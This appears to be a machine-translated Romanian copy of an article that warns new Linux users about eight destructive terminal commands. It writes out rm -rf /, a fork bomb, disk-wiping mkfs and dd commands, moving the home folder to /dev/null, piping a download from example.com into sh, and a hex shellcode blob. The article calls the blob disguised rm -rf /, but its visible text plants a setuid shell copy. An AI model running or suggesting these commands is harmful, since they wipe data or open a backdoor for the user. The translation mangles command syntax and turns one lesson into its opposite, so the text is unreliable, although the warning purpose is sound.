If-Koubou

8 comenzi mortale nu ar trebui să rulați niciodată pe Linux

8 comenzi mortale nu ar trebui să rulați niciodată pe Linux (Cum să)

Comenzile terminale ale Linux sunt puternice și Linux nu vă va cere să confirmați dacă rulați o comandă care vă va rupe sistemul. Nu este neobișnuit să vezi trolls on-line recomandând noilor utilizatori Linux să execute aceste comenzi ca o glumă.

Învățarea comenzilor pe care nu ar trebui să le rulați vă poate ajuta să vă protejați de trolls și să vă îmbunătățiți înțelegerea modului în care funcționează Linux. Acesta nu este un ghid exhaustiv, iar comenzile de aici pot fi remixate într-o varietate de moduri.

Rețineți că multe dintre aceste comenzi vor fi periculoase numai dacă sunt prefixate sudo pe Ubuntu - nu vor funcționa altfel. Pe alte distribuții Linux, majoritatea comenzilor trebuie executate ca root.

Image Credit: Craniul și Crossbones remixat de la Jason Ford pe Twitter

rm -rf / - Șterge totul!

Comanda rm -rf / șterge tot ce poate, inclusiv fișiere de pe hard disk și fișiere de pe dispozitive media amovibile conectate. Această comandă este mai ușor de înțeles dacă este defalcată:

rm - Eliminați următoarele fișiere.

-rf - Rulați rm recursiv (ștergeți toate fișierele și folderele din dosarul specificat) și forțați-eliminați toate fișierele fără a vă solicita.

/ - Spune rm să pornească la directorul rădăcină, care conține toate fișierele de pe computer și toate dispozitivele media montate, inclusiv acțiunile de fișiere de la distanță și unitățile detașabile.

Linux va respecta fericit această comandă și va șterge totul fără a vă îndemna, deci aveți grijă atunci când o utilizați! Comanda rm poate fi utilizată și în alte moduri periculoase - rm -rf ~ va șterge toate fișierele din dosarul dvs. de acasă, în timp ce rm -rf. * s-ar șterge toate fișierele de configurare.

Lecția: Feriți-vă rm -rf.

Deghizat rm -rf /

Iată un alt fragment de cod care este pe tot cuprinsul web:

char esp [] __attribute__ ((secțiune (". text"))) / * e.psp
eliberare * /
= "\ Xeb \ x3 \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
„\ Xff \ xff \ xff \ xff \ X68 \ XDF \ xd0 \ XDF \ xd9 \ X68 \ x8d \ X99“
„\ XDF \ X81 \ X68 \ x8d \ X92 \ XDF \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7“
„\ X56 \ X04 \ xf7 \ X56 \ X08 \ xf7 \ X56 \ x0c \ x83 \ xc4 \ X74 \ X56“
„\ X8d \ x73 \ X08 \ X56 \ X53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31“
„\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ X62 \ x69“
„\ X6e \ x2f \ x73 \ X68 \ x00 \ x2d \ X63 \ x00“
"Cp -p / bin / sh /tmp/. chmod 4755
/tmp/.beyond;“;

Aceasta este versiunea hexa a rm -rf / - executarea acestei comenzi ar șterge fișierele ca și cum ați fi rulat rm -rf /.

Lecția: Nu executați comenzi ciudate, în mod evident deghizate, pe care nu le înțelegeți.

: () : |: & ;: - Bombul furcii

Următoarea linie este o funcție bash simplu, dar periculoasă:

:() :|: & ;:

Această linie scurtă definește o funcție shell care creează noi copii ale ei înșiși. Procesul se repetă în mod continuu, iar copiile sale se repetă continuu, ocupându-se rapid de timpul și memoria procesorului. Acest lucru poate cauza înghețarea computerului. Este în principiu un atac de refuz al serviciului.

Lecția: Funcțiile Bash sunt puternice, chiar și cele foarte scurte.

Credit de imagine: Dake pe Wikimedia Commons

mkfs.ext4 / dev / sda1 - Formează un hard disk

mkfs.ext4 / dev / sda1este ușor de înțeles:

mkfs.ext4 - Creați un nou sistem de fișiere ext4 pe următorul dispozitiv.

/ Dev / sda1 - Specifică prima partiție de pe prima unitate de hard disk, care este probabil utilizată.

Luate împreună, această comandă poate fi echivalentă cu rularea formatului c: pe Windows - va șterge fișierele din prima partiție și le va înlocui cu un nou sistem de fișiere.

Această comandă poate veni și în alte forme - mkfs.ext3 / dev / sdb2 ar format cea de-a doua partiție de pe cea de-a doua unitate de disc cu sistemul de fișiere ext3.

Lecția: Feriți-vă de rularea comenzilor direct pe dispozitivele hard disk care încep cu / dev / sd.

comanda> / dev / sda - scrie direct pe un hard disk

comanda> / dev / sda linia funcționează în mod similar - rulează o comandă și trimite ieșirea acelei comenzi direct la prima hard disk, scriind datele direct pe unitatea HDD și deteriorând sistemul de fișiere.

comanda - Rulați o comandă (poate fi orice comandă).

> - Trimiteți ieșirea comenzii în următoarea locație.

/ Dev / sda - Scrieți ieșirea comenzii direct pe dispozitivul de hard disk.

Lecția: Ca mai sus, aveți grijă să rulați comenzi care implică dispozitive de hard disk care încep cu / dev / sd.

dd dacă = / dev / random of = / dev / sda - scrie un junk pe un hard disk

dd dacă = / dev / aleator de = / dev / sda linia va șterge și datele de pe un hard disk.

dd - Efectuați copierea la nivel inferior dintr-o locație în alta.

if = / dev / aleatoare - Utilizați / dev / random (date aleatorii) ca intrare - puteți vedea și locații precum / dev / zero (zerouri).

a = / dev / sda - Ieșire la primul hard disk, înlocuind sistemul de fișiere cu date aleatorii de gunoi.

Lecția: dd copiază date de la o locație la alta, ceea ce poate fi periculos dacă copiați direct pe un dispozitiv.

Credit de imagine: Matt Rudge pe Flickr

mv ~ / dev / null - Mută ​​directorul de acasă la o gaură neagră

/ dev / null este o altă locație specială - mișcarea ceva la / dev / null este același lucru cu distrugerea acesteia. Gândiți-vă la / dev / null ca o gaură neagră. In esenta, mv ~ / dev / null trimite toate fișierele dvs. personale într-o gaură neagră.

mv - Mutați următorul fișier sau director într-o altă locație.

~ - Reprezintă întregul dosar de domiciliu.

/ Dev / null - Mutați folderul de domiciliu în / dev / null, distrugând toate fișierele și ștergând copiile originale.

Lecția: Caracterul ~ reprezintă dosarul dvs. de acasă și mutarea lucrurilor în / dev / null le distruge.

wget http://example.com/something -O- | sh - Descărcarea și executarea unui script

Linia de mai sus descarcă un script de pe web și o trimite la sh, care execută conținutul scriptului. Acest lucru poate fi periculos dacă nu sunteți sigur ce este scriptul sau dacă nu aveți încredere în sursa lui - nu executați scripturi nesigure.

wget - Se descarcă un fișier. (De asemenea, puteți vedea curl în loc de wget.)

http://example.com/something - Descărcați fișierul din această locație.

| - Pipe (trimite) ieșirea comenzii wget (fișierul descărcat) direct la o altă comandă.

SH - Trimiteți fișierul comenzii sh, care o execută dacă este un script bash.

Lecția: Nu descărcați și executați scripturi de încredere de pe web, chiar și cu o comandă.

Cunoașteți alte comenzi periculoase pe care noii utilizatori Linux nu ar trebui să le ruleze? Lăsați un comentariu și împărtășiți-i!